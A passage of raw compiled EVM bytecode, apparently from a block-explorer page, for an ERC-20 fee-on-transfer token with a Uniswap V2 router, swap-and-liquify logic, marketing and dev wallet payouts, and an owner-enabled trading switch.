517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5090613243565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d4791906127b0565b60405180910390a3611d5a848484612033565b50505050565b6000611d6b30610aa0565b90506000601554601454601654611d829190612bab565b611d8c9190612bab565b905060008060028360165486611da2919061308f565b611dac9190613100565b611db69190613100565b90506000611dcd828661203890919063ffffffff16565b90506000479050611ddd8261204e565b6000611df2824761203890919063ffffffff16565b90506000611e1d87611e0f6014548561200290919063ffffffff16565b61201890919063ffffffff16565b90506000611e4888611e3a6015548661200290919063ffffffff16565b61201890919063ffffffff16565b90506000818385611e599190613131565b611e639190613131565b9050600060168190555060006014819055506000601581905550600087118015611e8d5750600081115b15611eda57611e9c878261228b565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618682601654604051611ed193929190613263565b60405180910390a15b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051611f20906132cb565b60006040518083038185875af1925050503d8060008114611f5d576040519150601f19603f3d011682016040523d82523d6000602084013e611f62565b606091505b505080985050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051611fae906132cb565b60006040518083038185875af1925050503d8060008114611feb576040519150601f19603f3d011682016040523d82523d6000602084013e611ff0565b606091505b50508098505050505050505050505050565b60008183612010919061308f565b905092915050565b600081836120269190613100565b905092915050565b505050565b505050565b600081836120469190613131565b905092915050565b6000600267ffffffffffffffff81111561206b5761206a6123b1565b5b6040519080825280602002602001820160405280156120995781602001602082028036833780820191505090505b50905030816000815181106120b1576120b0612a13565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612156573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061217a91906132f5565b8160018151811061218e5761218d612a13565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506121f3307f000000000000000000000000000000000000000000000000000000000000000084611085565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161225595949392919061341b565b600060405180830381600087803b15801561226f57600080fd5b505af1158015612283573d6000803e3d6000fd5b505050505050565b6122b6307f000000000000000000000000000000000000000000000000000000000000000084611085565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161233d96959493929190613475565b60606040518083038185885af115801561235b573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061238091906134eb565b5050505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6123e9826123a0565b810181811067ffffffffffffffff82111715612408576124076123b1565b5b80604052505050565b600061241b612387565b905061242782826123e0565b919050565b600067ffffffffffffffff821115612447576124466123b1565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006124888261245d565b9050919050565b6124988161247d565b81146124a357600080fd5b50565b6000813590506124b58161248f565b92915050565b60006124ce6124c98461242c565b612411565b905080838252602082019050602084028301858111156124f1576124f0612458565b5b835b8181101561251a578061250688826124a6565b8452602084019350506020810190506124f3565b5050509392505050565b600082601f8301126125395761253861239b565b5b81356125498482602086016124bb565b91505092915050565b60008115159050919050565b61256781612552565b811461257257600080fd5b50565b6000813590506125848161255e565b92915050565b600080604083850312156125a1576125a0612391565b5b600083013567ffffffffffffffff8111156125bf576125be612396565b5b6125cb85828601612524565b92505060206125dc85828601612575565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612620578082015181840152602081019050612605565b60008484015250505050565b6000612637826125e6565b61264181856125f1565b9350612651818560208601612602565b61265a816123a0565b840191505092915050565b6000602082019050818103600083015261267f818461262c565b905092915050565b6000819050919050565b61269a81612687565b81146126a557600080fd5b50565b6000813590506126b781612691565b92915050565b600080604083850312156126d4576126d3612391565b5b60006126e2858286016124a6565b92505060206126f3858286016126a8565b9150509250929050565b61270681612552565b82525050565b600060208201905061272160008301846126fd565b92915050565b6000819050919050565b600061274c6127476127428461245d565b612727565b61245d565b9050919050565b600061275e82612731565b9050919050565b600061277082612753565b9050919050565b61278081612765565b82525050565b600060208201905061279b6000830184612777565b92915050565b6127aa81612687565b82525050565b60006020820190506127c560008301846127a1565b92915050565b6000806000606084860312156127e4576127e3612391565b5b60006127f2868287016124a6565b9350506020612803868287016124a6565b9250506040612814868287016126a8565b9150509250925092565b6128278161247d565b82525050565b6000602082019050612842600083018461281e565b92915050565b600060ff82169050919050565b61285e81612848565b82525050565b60006020820190506128796000830184612855565b92915050565b60006020828403121561289557612894612391565b5b60006128a3848285016124a6565b91505092915050565b600080fd5b60008083601f8401126128c7576128c661239b565b5b8235905067ffffffffffffffff8111156128e4576128e36128ac565b5b602083019150836020820283011115612900576128ff612458565b5b9250929050565b6000806000604084860312156129205761291f612391565b5b600084013567ffffffffffffffff81111561293e5761293d612396565b5b61294a868287016128b1565b9350935050602061295d86828701612575565b9150509250925092565b6000806040838503121561297e5761297d612391565b5b600061298c858286016124a6565b925050602061299d858286016124a6565b9150509250929050565b7f4e00000000000000000000000000000000000000000000000000000000000000600082015250565b60006129dd6001836125f1565b91506129e8826129a7565b602082019050919050565b60006020820190508181036000830152612a0c816129d0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000612a9e6039836125f1565b9150612aa982612a42565b604082019050919050565b60006020820190508181036000830152612acd81612a91565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612b0e82612687565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612b4057612b3f612ad4565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612b9257607f821691505b602082108103612ba557612ba4612b4b565b5b50919050565b6000612bb682612687565b9150612bc183612687565b9250828201905080821115612bd957612bd8612ad4565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612c3b6025836125f1565b9150612c4682612bdf565b604082019050919050565b60006020820190508181036000830152612c6a81612c2e565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612ccd6026836125f1565b9150612cd882612c71565b604082019050919050565b60006020820190508181036000830152612cfc81612cc0565b9050919050565b7f54726164696e6720616c7265616479206163746976652e000000000000000000600082015250565b6000612d396017836125f1565b9150612d4482612d03565b602082019050919050565b60006020820190508181036000830152612d6881612d2c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612dcb6024836125f1565b9150612dd682612d6f565b604082019050919050565b60006020820190508181036000830152612dfa81612dbe565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612e5d6022836125f1565b9150612e6882612e01565b604082019050919050565b60006020820190508181036000830152612e8c81612e50565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000612ec9601d836125f1565b9150612ed482612e93565b602082019050919050565b60006020820190508181036000830152612ef881612ebc565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612f5b6025836125f1565b9150612f6682612eff565b604082019050919050565b60006020820190508181036000830152612f8a81612f4e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612fed6023836125f1565b9150612ff882612f91565b604082019050919050565b6000602082019050818103600083015261301c81612fe0565b9050919050565b7f54726164696e67206e6f742079657420656e61626c6564210000000000000000600082015250565b60006130596018836125f1565b915061306482613023565b602082019050919050565b600060208201905081810360008301526130888161304c565b9050919050565b600061309a82612687565b91506130a583612687565b92508282026130b381612687565b915082820484148315176130ca576130c9612ad4565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061310b82612687565b915061311683612687565b925082613126576131256130d1565b5b828204905092915050565b600061313c82612687565b915061314783612687565b925082820390508181111561315f5761315e612ad4565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061319b6020836125f1565b91506131a682613165565b602082019050919050565b600060208201905081810360008301526131ca8161318e565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061322d6026836125f1565b9150613238826131d1565b604082019050919050565b6000602082019050818103600083015261325c81613220565b9050919050565b600060608201905061327860008301866127a1565b61328560208301856127a1565b61329260408301846127a1565b949350505050565b600081905092915050565b50565b60006132b560008361329a565b91506132c0826132a5565b600082019050919050565b60006132d6826132a8565b9150819050919050565b6000815190506132ef8161248f565b92915050565b60006020828403121561330b5761330a612391565b5b6000613319848285016132e0565b91505092915050565b6000819050919050565b600061334761334261333d84613322565b612727565b612687565b9050919050565b6133578161332c565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6133928161247d565b82525050565b60006133a48383613389565b60208301905092915050565b6000602082019050919050565b60006133c88261335d565b6133d28185613368565b93506133dd83613379565b8060005b8381101561340e5781516133f58882613398565b9750613400836133b0565b9250506001810190506133e1565b5085935050505092915050565b600060a08201905061343060008301886127a1565b61343d602083018761334e565b818103604083015261344f81866133bd565b905061345e606083018561281e565b61346b60808301846127a1565b9695505050505050565b600060c08201905061348a600083018961281e565b61349760208301886127a1565b6134a4604083018761334e565b6134b1606083018661334e565b6134be608083018561281e565b6134cb60a08301846127a1565b979650505050505050565b6000815190506134e581612691565b92915050565b60008060006060848603121561350457613503612391565b5b6000613512868287016134d6565b9350506020613523868287016134d6565b9250506040613534868287016134d6565b915050925092509256fea26469706673582212202681c44c14714afc723c8a83d56738df8bd02965b0d48c1c98b2ecac4af457cd64736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101c65760003560e01c806370a08231116100f7578063c04a541411610095578063dd62ed3e11610064578063dd62ed3e14610657578063e2f4560514610694578063f2fde38b146106bf578063fb201b1d146106e8576101cd565b8063c04a5414146105ad578063c3b8cd7f146105d8578063d469801614610601578063d85ba0631461062c576101cd565b80638da5cb5b116100d15780638da5cb5b146104dd57806395d89b4114610508578063a457c2d714610533578063a9059cbb14610570576101cd565b806370a082311461045e578063715018a61461049b57806375f0a874146104b2576101cd565b8063313ce5671161016457806349bd5a5e1161013e57806349bd5a5e146103b25780634ada218b146103dd5780636a486a8e146104085780636ddd171314610433576101cd565b8063313ce56714610321578063395093511461034c5780633c4dbb0514610389576101cd565b80631694505e116101a05780631694505e1461026357806318160ddd1461028e57806323b872dd146102b957806327c8f835146102f6576101cd565b806306ba2fb9146101d257806306fdde03146101fb578063095ea7b314610226576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101f960048036038101906101f4919061258a565b6106ff565b005b34801561020757600080fd5b506102106108aa565b60405161021d9190612665565b60405180910390f35b34801561023257600080fd5b5061024d600480360381019061024891906126bd565b61093c565b60405161025a919061270c565b60405180910390f35b34801561026f57600080fd5b5061027861095f565b6040516102859190612786565b60405180910390f35b34801561029a57600080fd5b506102a3610983565b6040516102b091906127b0565b60405180910390f35b3480156102c557600080fd5b506102e060048036038101906102db91906127cb565b61098d565b6040516102ed919061270c565b60405180910390f35b34801561030257600080fd5b5061030b6109bc565b604051610318919061282d565b60405180910390f35b34801561032d57600080fd5b506103366109c2565b6040516103439190612864565b60405180910390f35b34801561035857600080fd5b50610373600480360381019061036e91906126bd565b6109cb565b604051610380919061270c565b60405180910390f35b34801561039557600080fd5b506103b060048036038101906103ab919061287f565b610a02565b005b3480156103be57600080fd5b506103c7610a4e565b6040516103d4919061282d565b60405180910390f35b3480156103e957600080fd5b506103f2610a74565b6040516103ff919061270c565b60405180910390f35b34801561041457600080fd5b5061041d610a87565b60405161042a91906127b0565b60405180910390f35b34801561043f57600080fd5b50610448610a8d565b604051610455919061270c565b60405180910390f35b34801561046a57600080fd5b506104856004803603810190610480919061287f565b610aa0565b60405161049291906127b0565b60405180910390f35b3480156104a757600080fd5b506104b0610ae8565b005b3480156104be57600080fd5b506104c7610afc565b6040516104d4919061282d565b60405180910390f35b3480156104e957600080fd5b506104f2610b22565b6040516104ff919061282d565b60405180910390f35b34801561051457600080fd5b5061051d610b4c565b60405161052a9190612665565b60405180910390f35b34801561053f57600080fd5b5061055a600480360381019061055591906126bd565b610bde565b604051610567919061270c565b60405180910390f35b34801561057c57600080fd5b50610597600480360381019061059291906126bd565b610c55565b6040516105a4919061270c565b60405180910390f35b3480156105b957600080fd5b506105c2610c78565b6040516105cf919061282d565b60405180910390f35b3480156105e457600080fd5b506105ff60048036038101906105fa9190612907565b610c9e565b005b34801561060d57600080fd5b50610616610e10565b604051610623919061282d565b60405180910390f35b34801561063857600080fd5b50610641610e36565b60405161064e91906127b0565b60405180910390f35b34801561066357600080fd5b5061067e60048036038101906106799190612967565b610e3c565b60405161068b91906127b0565b60405180910390f35b3480156106a057600080fd5b506106a9610ec3565b6040516106b691906127b0565b60405180910390f35b3480156106cb57600080fd5b506106e660048036038101906106e1919061287f565b610ec9565b005b3480156106f457600080fd5b506106fd610f4c565b005b610707610b22565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061078d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6107cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c3906129f3565b60405180910390fd5b60005b82518110156108a55760008382815181106107ed576107ec612a13565b5b60200260200101519050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610887576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087e90612ab4565b60405180910390fd5b6108918184610fdc565b50808061089d90612b03565b9150506107cf565b505050565b6060600380546108b990612b7a565b80601f01602080910402602001604051908101604052809291908181526020018280546108e590612b7a565b80156109325780601f1061090757610100808354040283529160200191610932565b820191906000526020600020905b81548152906001019060200180831161091557829003601f168201915b5050505050905090565b60008061094761107d565b9050610954818585611085565b600191505092915050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b60008061099861107d565b90506109a585828561124e565b6109b08585856112da565b60019150509392505050565b61dead81565b60006012905090565b6000806109d661107d565b90506109f78185856109e88589610e3c565b6109f29190612bab565b611085565b600191505092915050565b610a0a6119a6565b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960149054906101000a900460ff1681565b60105481565b600960159054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610af06119a6565b610afa6000611a24565b565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610b5b90612b7a565b80601f0160208091040260200160405190810160405280929190818152602001828054610b8790612b7a565b8015610bd45780601f10610ba957610100808354040283529160200191610bd4565b820191906000526020600020905b815481529060010190602001808311610bb757829003601f168201915b5050505050905090565b600080610be961107d565b90506000610bf78286610e3c565b905083811015610c3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3390612c51565b60405180910390fd5b610c498286868403611085565b60019250505092915050565b600080610c6061107d565b9050610c6d8185856112da565b600191505092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610ca6610b22565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610d2c5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d62906129f3565b60405180910390fd5b60005b83839050811015610e0a578160186000868685818110610d9157610d90612a13565b5b9050602002016020810190610da6919061287f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610e0290612b03565b915050610d6e565b50505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b610ed16119a6565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3790612ce3565b60405180910390fd5b610f4981611a24565b50565b610f546119a6565b600960149054906101000a900460ff1615610fa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9b90612d4f565b60405180910390fd5b6001600960146101000a81548160ff0219169083151502179055506001600960156101000a81548160ff021916908315150217905550565b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167ff274adc01c38ffd96f998543df4d7bea821630f01770a0ca15d48c72a2b2126360405160405180910390a35050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110eb90612de1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115a90612e73565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161124191906127b0565b60405180910390a3505050565b600061125a8484610e3c565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146112d457818110156112c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bd90612edf565b60405180910390fd5b6112d38484848403611085565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090612f71565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113af90613003565b60405180910390fd5b600960149054906101000a900460ff168061141c5750601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806114705750601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6114af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a69061306f565b60405180910390fd5b600081036114c8576114c383836000611aea565b6119a1565b60006114d330610aa0565b90506000600a5482101590508080156114f85750600960159054906101000a900460ff165b801561154d5750601960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80156115665750600960169054906101000a900460ff16155b80156115bc5750601860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116125750601860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611656576001600960166101000a81548160ff02191690831515021790555061163a611d60565b6000600960166101000a81548160ff0219169083151502179055505b6000600960169054906101000a900460ff16159050601860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061170c5750601860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561171657600090505b6000811561199157601960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561177957506000601054115b15611847576117a76127106117996010548861200290919063ffffffff16565b61201890919063ffffffff16565b9050601054601354826117ba919061308f565b6117c49190613100565b601660008282546117d59190612bab565b92505081905550601054601154826117ed919061308f565b6117f79190613100565b601460008282546118089190612bab565b9250508190555060105460125482611820919061308f565b61182a9190613100565b6015600082825461183b9190612bab565b9250508190555061196d565b601960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156118a257506000600b54115b1561196c576118d06127106118c2600b548861200290919063ffffffff16565b61201890919063ffffffff16565b9050600b54600e54826118e3919061308f565b6118ed9190613100565b601660008282546118fe9190612bab565b92505081905550600b54600c5482611916919061308f565b6119209190613100565b601460008282546119319190612bab565b92505081905550600b54600d5482611949919061308f565b6119539190613100565b601560008282546119649190612bab565b925050819055505b5b600081111561198257611981873083611aea565b5b808561198e9190613131565b94505b61199c878787611aea565b505050505b505050565b6119ae61107d565b73ffffffffffffffffffffffffffffffffffffffff166119cc610b22565b73ffffffffffffffffffffffffffffffffffffffff1614611a22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a19906131b1565b60405180910390fd5b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5090612f71565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611bc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbf90613003565b60405180910390fd5b611bd383838361202e565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5090613243565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d4791906127b0565b60405180910390a3611d5a848484612033565b50505050565b6000611d6b30610aa0565b90506000601554601454601654611d829190612bab565b611d8c9190612bab565b905060008060028360165486611da2919061308f565b611dac9190613100565b611db69190613100565b90506000611dcd828661203890919063ffffffff16565b90506000479050611ddd8261204e565b6000611df2824761203890919063ffffffff16565b90506000611e1d87611e0f6014548561200290919063ffffffff16565b61201890919063ffffffff16565b90506000611e4888611e3a6015548661200290919063ffffffff16565b61201890919063ffffffff16565b90506000818385611e599190613131565b611e639190613131565b9050600060168190555060006014819055506000601581905550600087118015611e8d5750600081115b15611eda57611e9c878261228b565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618682601654604051611ed193929190613263565b60405180910390a15b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051611f20906132cb565b60006040518083038185875af1925050503d8060008114611f5d576040519150601f19603f3d011682016040523d82523d6000602084013e611f62565b606091505b505080985050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051611fae906132cb565b60006040518083038185875af1925050503d8060008114611feb576040519150601f19603f3d011682016040523d82523d6000602084013e611ff0565b606091505b50508098505050505050505050505050565b60008183612010919061308f565b905092915050565b600081836120269190613100565b905092915050565b505050565b505050565b600081836120469190613131565b905092915050565b6000600267ffffffffffffffff81111561206b5761206a6123b1565b5b6040519080825280602002602001820160405280156120995781602001602082028036833780820191505090505b50905030816000815181106120b1576120b0612a13565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612156573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061217a91906132f5565b8160018151811061218e5761218d612a13565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506121f3307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611085565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161225595949392919061341b565b600060405180830381600087803b15801561226f57600080fd5b505af1158015612283573d6000803e3d6000fd5b505050505050565b6122b6307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611085565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161233d96959493929190613475565b60606040518083038185885af115801561235b573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061238091906134eb565b5050505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6123e9826123a0565b810181811067ffffffffffffffff82111715612408576124076123b1565b5b80604052505050565b600061241b612387565b905061242782826123e0565b919050565b600067ffffffffffffffff821115612447576124466123b1565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006124888261245d565b9050919050565b6124988161247d565b81146124a357600080fd5b50565b6000813590506124b58161248f565b92915050565b60006124ce6124c98461242c565b612411565b905080838252602082019050602084028301858111156124f1576124f0612458565b5b835b8181101561251a578061250688826124a6565b8452602084019350506020810190506124f3565b5050509392505050565b600082601f8301126125395761253861239b565b5b81356125498482602086016124bb565b91505092915050565b60008115159050919050565b61256781612552565b811461257257600080fd5b50565b6000813590506125848161255e565b92915050565b600080604083850312156125a1576125a0612391565b5b600083013567ffffffffffffffff8111156125bf576125be612396565b5b6125cb85828601612524565b92505060206125dc85828601612575565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612620578082015181840152602081019050612605565b60008484015250505050565b6000612637826125e6565b61264181856125f1565b9350612651818560208601612602565b61265a816123a0565b840191505092915050565b6000602082019050818103600083015261267f818461262c565b905092915050565b6000819050919050565b61269a81612687565b81146126a557600080fd5b50565b6000813590506126b781612691565b92915050565b600080604083850312156126d4576126d3612391565b5b60006126e2858286016124a6565b92505060206126f3858286016126a8565b9150509250929050565b61270681612552565b82525050565b600060208201905061272160008301846126fd565b92915050565b6000819050919050565b600061274c6127476127428461245d565b612727565b61245d565b9050919050565b600061275e82612731565b9050919050565b600061277082612753565b9050919050565b61278081612765565b82525050565b600060208201905061279b6000830184612777565b92915050565b6127aa81612687565b82525050565b60006020820190506127c560008301846127a1565b92915050565b6000806000606084860312156127e4576127e3612391565b5b60006127f2868287016124a6565b9350506020612803868287016124a6565b9250506040612814868287016126a8565b9150509250925092565b6128278161247d565b82525050565b6000602082019050612842600083018461281e565b92915050565b600060ff82169050919050565b61285e81612848565b82525050565b60006020820190506128796000830184612855565b92915050565b60006020828403121561289557612894612391565b5b60006128a3848285016124a6565b91505092915050565b600080fd5b60008083601f8401126128c7576128